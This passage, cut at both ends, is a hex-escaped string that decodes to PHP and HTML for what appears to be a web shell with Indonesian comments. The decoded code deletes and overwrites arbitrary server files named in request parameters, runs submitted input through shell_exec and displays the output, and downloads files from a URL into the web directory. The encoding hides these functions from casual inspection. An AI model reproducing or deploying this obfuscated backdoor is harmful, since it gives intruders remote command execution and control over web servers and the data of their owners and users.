x3D\x27\x70\x6F\x73\x74\x27\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x27\x74\x65\x78\x74\x27\x20\x6E\x61\x6D\x65\x3D\x27\x6F\x6B\x66\x6F\x6C\x64\x65\x72\x27\x20\x70\x6C\x61\x63\x65\x68\x6F\x6C\x64\x65\x72\x3D\x27\x46\x6F\x6C\x64\x65\x72\x20\x4E\x61\x6D\x65\x27\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x27\x73\x75\x62\x6D\x69\x74\x27\x20\x6E\x61\x6D\x65\x3D\x27\x61\x64\x64\x66\x6F\x6C\x64\x65\x72\x27\x20\x76\x61\x6C\x75\x65\x3D\x27\x3E\x27\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x2F\x66\x6F\x72\x6D\x3E\x3C\x62\x72\x3E\x22\x3B\x0A\x7D\x0A\x0A\x66\x75\x6E\x63\x74\x69\x6F\x6E\x20\x63\x72\x65\x61\x74\x65\x46\x6F\x6C\x64\x65\x72\x28\x24\x64\x69\x72\x29\x20\x7B\x0A\x20\x20\x20\x20\x69\x66\x28\x69\x73\x73\x65\x74\x28\x24\x5F\x50\x4F\x53\x54\x5B\x27\x61\x64\x64\x66\x6F\x6C\x64\x65\x72\x27\x5D\x29\x29\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x24\x6E\x65\x77\x46\x6F\x6C\x64\x65\x72\x4E\x61\x6D\x65\x20\x3D\x20\x69\x73\x73\x65\x74\x28\x24\x5F\x50\x4F\x53\x54\x5B\x27\x6F\x6B\x66\x6F\x6C\x64\x65\x72\x27\x5D\x29\x20\x3F\x20\x24\x5F\x50\x4F\x53\x54\x5B\x27\x6F\x6B\x66\x6F\x6C\x64\x65\x72\x27\x5D\x20\x3A\x20\x27\x27\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x28\x21\x65\x6D\x70\x74\x79\x28\x24\x6E\x65\x77\x46\x6F\x6C\x64\x65\x72\x4E\x61\x6D\x65\x29\x29\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x24\x6E\x65\x77\x46\x6F\x6C\x64\x65\x72\x50\x61\x74\x68\x20\x3D\x20\x24\x64\x69\x72\x20\x2E\x20\x27\x2F\x27\x20\x2E\x20\x24\x6E\x65\x77\x46\x6F\x6C\x64\x65\x72\x4E\x61\x6D\x65\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x28\x6D\x6B\x64\x69\x72\x28\x24\x6E\x65\x77\x46\x6F\x6C\x64\x65\x72\x50\x61\x74\x68\x2C\x20\x30\x37\x37\x37\x29\x29\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x63\x68\x6F\x20\x22\x3C\x73\x63\x72\x69\x70\x74\x3E\x61\x6C\x65\x72\x74\x28\x27\x46\x6F\x6C\x64\x65\x72\x20\x63\x72\x65\x61\x74\x65\x64\x20\x73\x75\x63\x63\x65\x73\x73\x66\x75\x6C\x6C\x79\x21\x27\x29\x3B\x20\x77\x69\x6E\x64\x6F\x77\x2E\x6C\x6F\x63\x61\x74\x69\x6F\x6E\x3D\x27\x3F\x64\x69\x72\x3D\x22\x2E\x24\x64\x69\x72\x2E\x22\x27\x3B\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E\x22\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x20\x65\x6C\x73\x65\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x63\x68\x6F\x20\x22\x3C\x73\x63\x72\x69\x70\x74\x3E\x61\x6C\x65\x72\x74\x28\x27\x46\x61\x69\x6C\x65\x64\x20\x74\x6F\x20\x63\x72\x65\x61\x74\x65\x20\x66\x6F\x6C\x64\x65\x72\x21\x27\x29\x3B\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E\x22\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x20\x65\x6C\x73\x65\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x63\x68\x6F\x20\x22\x3C\x73\x63\x72\x69\x70\x74\x3E\x61\x6C\x65\x72\x74\x28\x27\x46\x6F\x6C\x64\x65\x72\x20\x6E\x61\x6D\x65\x20\x63\x61\x6E\x6E\x6F\x74\x20\x62\x65\x20\x65\x6D\x70\x74\x79\x21\x27\x29\x3B\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E\x22\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x0A\x20\x20\x20\x20\x7D\x0A\x7D\x0A\x0A\x66\x75\x6E\x63\x74\x69\x6F\x6E\x20\x64\x65\x6C\x65\x74\x65\x46\x69\x6C\x65\x28\x24\x64\x69\x72\x29\x20\x7B\x0A\x20\x20\x20\x20\x69\x66\x20\x28\x69\x73\x73\x65\x74\x28\x24\x5F\x47\x45\x54\x5B\x27\x64\x65\x6C\x65\x74\x65\x27\x5D\x29\x29\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x24\x66\x69\x6C\x65\x54\x6F\x44\x65\x6C\x65\x74\x65\x20\x3D\x20\x24\x5F\x47\x45\x54\x5B\x27\x64\x65\x6C\x65\x74\x65\x27\x5D\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x20\x28\x75\x6E\x6C\x69\x6E\x6B\x28\x24\x66\x69\x6C\x65\x54\x6F\x44\x65\x6C\x65\x74\x65\x29\x29\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x63\x68\x6F\x20\x22\x3C\x73\x63\x72\x69\x70\x74\x3E\x61\x6C\x65\x72\x74\x28\x27\x46\x69\x6C\x65\x20\x64\x65\x6C\x65\x74\x65\x64\x20\x73\x75\x63\x63\x65\x73\x73\x66\x75\x6C\x6C\x79\x21\x27\x29\x3B\x20\x77\x69\x6E\x64\x6F\x77\x2E\x6C\x6F\x63\x61\x74\x69\x6F\x6E\x3D\x27\x3F\x64\x69\x72\x3D\x22\x2E\x24\x64\x69\x72\x2E\x22\x27\x3B\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E\x22\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x20\x65\x6C\x73\x65\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x63\x68\x6F\x20\x22\x3C\x73\x63\x72\x69\x70\x74\x3E\x61\x6C\x65\x72\x74\x28\x27\x46\x61\x69\x6C\x65\x64\x20\x74\x6F\x20\x64\x65\x6C\x65\x74\x65\x20\x66\x69\x6C\x65\x21\x27\x29\x3B\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E\x22\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x0A\x20\x20\x20\x20\x7D\x0A\x7D\x0A\x0A\x2F\x2F\x20\x48\x61\x6E\x64\x6C\x65\x20\x65\x64\x69\x74\x20\x66\x69\x6C\x65\x20\x72\x65\x71\x75\x65\x73\x74\x0A\x66\x75\x6E\x63\x74\x69\x6F\x6E\x20\x65\x64\x69\x74\x46\x69\x6C\x65\x28\x24\x64\x69\x72\x29\x20\x7B\x0A\x20\x20\x20\x20\x69\x66\x20\x28\x69\x73\x73\x65\x74\x28\x24\x5F\x47\x45\x54\x5B\x27\x6F\x70\x65\x6E\x27\x5D\x29\x29\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x24\x66\x69\x6C\x65\x50\x61\x74\x68\x20\x3D\x20\x24\x5F\x47\x45\x54\x5B\x27\x6F\x70\x65\x6E\x27\x5D\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x20\x28\x69\x73\x73\x65\x74\x28\x24\x5F\x50\x4F\x53\x54\x5B\x27\x65\x64\x69\x74\x27\x5D\x29\x29\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x24\x63\x6F\x6E\x74\x65\x6E\x74\x20\x3D\x20\x24\x5F\x50\x4F\x53\x54\x5B\x27\x65\x64\x69\x74\x27\x5D\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x20\x28\x66\x69\x6C\x65\x5F\x70\x75\x74\x5F\x63\x6F\x6E\x74\x65\x6E\x74\x73\x28\x24\x66\x69\x6C\x65\x50\x61\x74\x68\x2C\x20\x24\x63\x6F\x6E\x74\x65\x6E\x74\x29\x20\x21\x3D\x3D\x20\x66\x61\x6C\x73\x65\x29\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x63\x68\x6F\x20\x22\x3C\x73\x63\x72\x69\x70\x74\x3E\x61\x6C\x65\x72\x74\x28\x27\x46\x69\x6C\x65\x20\x65\x64\x69\x74\x65\x64\x20\x73\x75\x63\x63\x65\x73\x73\x66\x75\x6C\x6C\x79\x21\x27\x29\x3B\x20\x77\x69\x6E\x64\x6F\x77\x2E\x6C\x6F\x63\x61\x74\x69\x6F\x6E\x3D\x27\x3F\x64\x69\x72\x3D\x22\x2E\x24\x64\x69\x72\x2E\x22\x27\x3B\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E\x22\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x20\x65\x6C\x73\x65\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x63\x68\x6F\x20\x22\x3C\x73\x63\x72\x69\x70\x74\x3E\x61\x6C\x65\x72\x74\x28\x27\x46\x61\x69\x6C\x65\x64\x20\x74\x6F\x20\x65\x64\x69\x74\x20\x66\x69\x6C\x65\x21\x27\x29\x3B\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E\x22\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x20\x65\x6C\x73\x65\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x63\x68\x6F\x20\x27\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x62\x72\x20\x2F\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x73\x74\x79\x6C\x65\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x74\x61\x62\x6C\x65\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x64\x69\x73\x70\x6C\x61\x79\x3A\x20\x6E\x6F\x6E\x65\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x2F\x73\x74\x79\x6C\x65\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x66\x6F\x72\x6D\x20\x6D\x65\x74\x68\x6F\x64\x3D\x22\x70\x6F\x73\x74\x22\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x74\x65\x78\x74\x61\x72\x65\x61\x20\x6E\x61\x6D\x65\x3D\x22\x65\x64\x69\x74\x22\x3E\x27\x2E\x68\x74\x6D\x6C\x73\x70\x65\x63\x69\x61\x6C\x63\x68\x61\x72\x73\x28\x66\x69\x6C\x65\x5F\x67\x65\x74\x5F\x63\x6F\x6E\x74\x65\x6E\x74\x73\x28\x24\x66\x69\x6C\x65\x50\x61\x74\x68\x29\x29\x2E\x27\x3C\x2F\x74\x65\x78\x74\x61\x72\x65\x61\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x73\x75\x62\x6D\x69\x74\x22\x20\x6E\x61\x6D\x65\x3D\x22\x73\x61\x76\x65\x22\x20\x76\x61\x6C\x75\x65\x3D\x22\x53\x61\x76\x65\x22\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x2F\x66\x6F\x72\x6D\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x27\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x0A\x20\x20\x20\x20\x7D\x0A\x7D\x0A\x0A\x66\x75\x6E\x63\x74\x69\x6F\x6E\x20\x72\x75\x6E\x53\x68\x65\x6C\x6C\x43\x6F\x6D\x6D\x61\x6E\x64\x28\x24\x63\x6F\x6D\x6D\x61\x6E\x64\x29\x20\x7B\x0A\x20\x20\x20\x20\x2F\x2F\x20\x4A\x61\x6C\x61\x6E\x6B\x61\x6E\x20\x70\x65\x72\x69\x6E\x74\x61\x68\x20\x73\x68\x65\x6C\x6C\x0A\x20\x20\x20\x20\x24\x6F\x75\x74\x70\x75\x74\x20\x3D\x20\x73\x68\x65\x6C\x6C\x5F\x65\x78\x65\x63\x28\x24\x63\x6F\x6D\x6D\x61\x6E\x64\x29\x3B\x0A\x0A\x20\x20\x20\x20\x2F\x2F\x20\x54\x61\x6D\x70\x69\x6C\x6B\x61\x6E\x20\x68\x61\x73\x69\x6C\x6E\x79\x61\x0A\x20\x20\x20\x20\x65\x63\x68\x6F\x20\x22\x3C\x62\x72\x3E\x3C\x62\x72\x3E\x3C\x74\x65\x78\x74\x61\x72\x65\x61\x20\x73\x74\x79\x6C\x65\x3D\x27\x77\x69\x64\x74\x68\x3A\x20\x31\x30\x30\x25\x3B\x20\x68\x65\x69\x67\x68\x74\x3A\x20\x32\x30\x30\x70\x78\x3B\x27\x3E\x24\x6F\x75\x74\x70\x75\x74\x3C\x2F\x74\x65\x78\x74\x61\x72\x65\x61\x3E\x22\x3B\x0A\x7D\x0A\x0A\x24\x64\x69\x72\x20\x3D\x20\x69\x73\x73\x65\x74\x28\x24\x5F\x47\x45\x54\x5B\x27\x64\x69\x72\x27\x5D\x29\x20\x3F\x20\x24\x5F\x47\x45\x54\x5B\x27\x64\x69\x72\x27\x5D\x20\x3A\x20\x67\x65\x74\x63\x77\x64\x28\x29\x3B\x0A\x69\x66\x20\x28\x69\x73\x73\x65\x74\x28\x24\x5F\x50\x4F\x53\x54\x5B\x27\x75\x70\x6C\x6F\x61\x64\x75\x72\x6C\x27\x5D\x29\x29\x20\x7B\x0A\x20\x20\x20\x20\x24\x75\x72\x6C\x20\x3D\x20\x24\x5F\x50\x4F\x53\x54\x5B\x27\x75\x72\x6C\x27\x5D\x3B\x0A\x20\x20\x20\x20\x75\x70\x6C\x6F\x61\x64\x46\x69\x6C\x65\x46\x72\x6F\x6D\x55\x72\x6C\x28\x24\x75\x72\x6C\x2C\x20\x24\x64\x69\x72\x29\x3B\x0A\x7D\x0A\x3F\x3E\x0A\x0A\x3C\x21\x44\x4F\x43\x54\x59\x50\x45\x20\x68\x74\x6D\x6C\x3E\x0A\x3C\x68\x74\x6D\x6C\x20\x6C\x61\x6E\x67\x3D\x22\x65\x6E\x22\x3E\x0A\x3C\x68\x65\x61\x64\x3E\x0A\x20\x20\x20\x20\x3C\x6D\x65\x74\x61\x20\x63\x68\x61\x72\x73\x65\x74\x3D\x22\x55\x54\x46\x2D\x38\x22\x3E\x0A\x20\x20\x20\x20\x3C\x6D\x65\x74\x61\x20\x6E\x61\x6D\x65\x3D\x22\x76\x69\x65\x77\x70\x6F\x72\x74\x22\x20\x63\x6F\x6E\x74\x65\x6E\x74\x3D\x22\x77\x69\x64\x74\x68\x3D\x64\x65\x76\x69\x63\x65\x2D\x77\x69\x64\x74\x68\x2C\x20\x69\x6E\x69\x74\x69\x61\x6C\x2D\x73\x63\x61\x6C\x65\x3D\x31\x2E\x30\x22\x3E\x0A\x20\x20\x20\x20\x3C\x74\x69\x74\x6C\x65\x3E\x3C\x3F\x70\x68\x70\x20\x65\x63\x68\x6F\x20\x24\x68\x6F\x73\x74\x20\x2E\x20\x22\x20\x2D\x20\x22\x20\x2E\x20\x24\x61\x64\x64\x69\x74\x69\x6F\x6E\x61\x6C\x5F\x74\x69\x74\x6C\x65\x3B\x20\x3F\x3E\x3C\x2F\x74\x69\x74\x6C\x65\x3E\x0A\x20\x20\x20\x20\x3C\x73\x74\x79\x6C\x65\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x62\x6F\x64\x79\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x62\x61\x63\x6B\x67\x72\x6F\x75\x6E\x64\x2D\x69\x6D\x61\x67\x65\x3A\x20\x75\x72\x6C\x28\x27\x68\x74\x74\x70\x73\x3A\x2F\x2F\x69\x2E\x69\x62\x62\x2E\x63\x6F\x2F\x48\x67\x50\x36\x4D\x50\x63\x2F\x32\x34\x39\x30\x33\x65\x39\x35\x30\x61\x30\x62\x66\x64\x65\x36\x62\x33\x65\x31\x32\x36\x31\x32\x32\x36\x65\x39\x65\x63\x66\x30\x64\x37\x37\x32\x62\x37\x33\x64\x2D\x72\x65\x6D\x6F\x76\x65\x62\x67\x2D\x70\x72\x65\x76\x69\x65\x77\x2D\x31\x2E\x70\x6E\x67\x27\x29\x3B\x20\x2F\x2A\x20\x47\x61\x6E\x74\x69\x20\x70\x61\x74\x68\x2F\x74\x6F\x2F\x79\x6F\x75\x72\x2F\x69\x6D\x61\x67\x65\x2E\x6A\x70\x67\x20\x64\x65\x6E\x67\x61\x6E\x20\x70\x61\x74\x68\x20\x67\x61\x6D\x62\x61\x72\x20\x41\x6E\x64\x61\x20\x2A\x2F\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x62\x61\x63\x6B\x67\x72\x6F\x75\x6E\x64\x2D\x73\x69\x7A\x65\x3A\x20\x63\x6F\x76\x65\x72\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x62\x61\x63\x6B\x67\x72\x6F\x75\x6E\x64\x2D\x72\x65\x70\x65\x61\x74\x3A\x20\x6E\x6F\x2D\x72\x65\x70\x65\x61\x74\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x62\x61\x63\x6B\x67\x72\x6F\x75\x6E\x64\x2D\x63\x6F\x6C\x6F\x72\x3A\x20\x62\x6C\x61\x63\x6B\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x66\x6F\x6E\x74\x2D\x66\x61\x6D\x69\x6C\x79\x3A\x20\x41\x72\x69\x61\x6C\x2C\x20\x73\x61\x6E\x73\x2D\x73\x65\x72\x69\x66\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x6D\x61\x72\x67\x69\x6E\x3A\x20\x30\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x70\x61\x64\x64\x69\x6E\x67\x3A\x20\x30\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x2E\x63\x6F\x6E\x74\x61\x69\x6E\x65\x72\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x6D\x61\x78\x2D\x77\x69\x64\x74\x68\x3A\x20\x31\x35\x30\x30\x70\x78\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x6D\x61\x72\x67\x69\x6E\x3A\x20\x32\x30\x70\x78\x20\x61\x75\x74\x6F\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x70\x61\x64\x64\x69\x6E\x67\x3A\x20\x32\x30\x70\x78\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x62\x61\x63\x6B\x67\x72\x6F\x75\x6E\x64\x2D\x63\x6F\x6C\x6F\x72\x3A\x20\x72\x67\x62\x61\x28\x30\x2C\x20\x30\x2C\x20\x30\x2C\x20\x30\x2E\x35\x29\x3B\x20\x2F\x2A\x20\x4C\x61\x74\x61\x72\x20\x62\x65\x6C\x61\x6B\x61\x6E\x67\x20\x68\x69\x74\x61\x6D\x20\x64\x65\x6E\x67\x61\x6E\x20\x35\x30\x25\x20\x74\x72\x61\x6E\x73\x70\x61\x72\x61\x6E\x73\x69\x20\x2A\x2F\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x62\x6F\x72\x64\x65\x72\x2D\x72\x61\x64\x69\x75\x73\x3A\x20\x38\x70\x78\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x62\x6F\x78\x2D\x73\x68\x61\x64\x6F\x77\x3A\x20\x30\x20\x32\x70\x78\x20\x34\x70\x78\x20\x72\x67\x62\x61\x28\x30\x2C\x20\x30\x2C\x20\x30\x2C\x20\x30\x2E\x31\x29\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x68\x31\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x63\x6F\x6C\x6F\x72\x3A\x20\x23\x33\x33\x33\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x74\x65\x78\x74\x2D\x61\x6C\x69\x67\x6E\x3A\x20\x63\x65\x6E\x74\x65\x72\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x74\x61\x62\x6C\x65\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x77\x69\x64\x74\x68\x3A\x20\x31\x30\x30\x25\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x62\x6F\x72\x64\x65\x72\x2D\x63\x6F\x6C\x6C\x61\x70\x73\x65\x3A\x20\x63\x6F\x6C\x6C\x61\x70\x73\x65\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x6D\x61\x72\x67\x69\x6E\x2D\x74\x6F\x70\x3A\x20\x32\x30\x70\x78\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x74\x68\x2C\x20\x74\x64\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x62\x6F\x72\x64\x65\x72\x3A\x20\x31\x70\x78\x20\x73\x6F\x6C\x69\x64\x20\x23\x64\x64\x64\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x70\x61\x64\x64\x69\x6E\x67\x3A\x20\x31\x30\x70\x78\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x74\x65\x78\x74\x2D\x61\x6C\x69\x67\x6E\x3A\x20\x6C\x65\x66\x74\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x74\x68\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x62\x61\x63\x6B\x67\x72\x6F\x75\x6E\x64\x2D\x63\x6F\x6C\x6F\x72\x3A\x20\x23\x66\x32\x66\x32\x66\x32\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x2E\x62\x75\x74\x74\x6F\x6E\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x62\x61\x63\x6B\x67\x72\x6F\x75\x6E\x64\x2D\x63\x6F\x6C\x6F\x72\x3A\x20\x23\x30\x30\x37\x62\x66\x66\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x63\x6F\x6C\x6F\x72\x3A\x20\x23\x66\x66\x66\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x62\x6F\x72\x64\x65\x72\x3A\x20\x6E\x6F\x6E\x65\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x62\x6F\x72\x64\x65\x72\x2D\x72\x61\x64\x69\x75\x73\x3A\x20\x34\x70\x78\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x70\x61\x64\x64\x69\x6E\x67\x3A\x20\x38\x70\x78\x20\x31\x36\x70\x78\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x74\x65\x78\x74\x2D\x64\x65\x63\x6F\x72\x61\x74\x69\x6F\x6E\x3A\x20\x6E\x6F\x6E\x65\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x63\x75\x72\x73\x6F\x72\x3A\x20\x70\x6F\x69\x6E\x74\x65\x72\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x6D\x61\x72\x67\x69\x6E\x2D\x72\x69\x67\x68\x74\x3A\x20\x31\x30\x70\x78\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x64\x69\x73\x70\x6C\x61\x79\x3A\x20\x69\x6E\x6C\x69\x6E\x65\x2D\x62\x6C\x6F\x63\x6B\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x74\x65\x78\x74\x2D\x61\x6C\x69\x67\x6E\x3A\x20\x63\x65\x6E\x74\x65\x72\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x2E\x62\x75\x74\x74\x6F\x6E\x3A\x68\x6F\x76\x65\x72\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x62\x61\x63\x6B\x67\x72\x6F\x75\x6E\x64\x2D\x63\x6F\x6C\x6F\x72\x3A\x20\x23\x30\x30\x35\x36\x62\x33\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x2E\x62\x75\x74\x74\x6F\x6E\x31\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x62\x61\x63\x6B\x67\x72\x6F\x75\x6E\x64\x2D\x63\x6F\x6C\x6F\x72\x3A\x20\x23\x65\x38\x66\x30\x30\x32\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x63\x6F\x6C\x6F\x72\x3A\x20\x23\x66\x66\x66\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x62\x6F\x72\x64\x65\x72\x3A\x20\x6E\x6F\x6E\x65\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x62\x6F\x72\x64\x65\x72\x2D\x72\x61\x64\x69\x75\x73\x3A\x20\x34\x70\x78\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x70\x61\x64\x64\x69\x6E\x67\x3A\x20\x38\x70\x78\x20\x31\x36\x70\x78\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x74\x65\x78\x74\x2D\x64\x65\x63\x6F\x72\x61\x74\x69\x6F\x6E\x3A\x20\x6E\x6F\x6E\x65\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x63\x75\x72\x73\x6F\x72\x3A\x20\x70\x6F\x69\x6E\x74\x65\x72\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x6D\x61\x72\x67\x69\x6E\x2D\x72\x69\x67\x68\x74\x3A\x20\x31\x30\x70\x78\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x64\x69\x73\x70\x6C\x61\x79\x3A\x20\x69\x6E\x6C\x69\x6E\x65\x2D\x62\x6C\x6F\x63\x6B\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x74\x65\x78\x74\x2D\x61\x6C\x69\x67\x6E\x3A\x20\x63\x65\x6E\x74\x65\x72\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x2E\x62\x75\x74\x74\x6F\x6E\x31\x3A\x68\x6F\x76\x65\x72\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x62\x61\x63\x6B\x67\x72\x6F\x75\x6E\x64\x2D\x63\x6F\x6C\x6F\x72\x3A\x20\x23\x32\x31\x38\x38\x33\x38\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x2E\x62\x75\x74\x74\x6F\x6E\x32\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x62\x61\x63\x6B\x67\x72\x6F\x75\x6E\x64\x2D\x63\x6F\x6C\x6F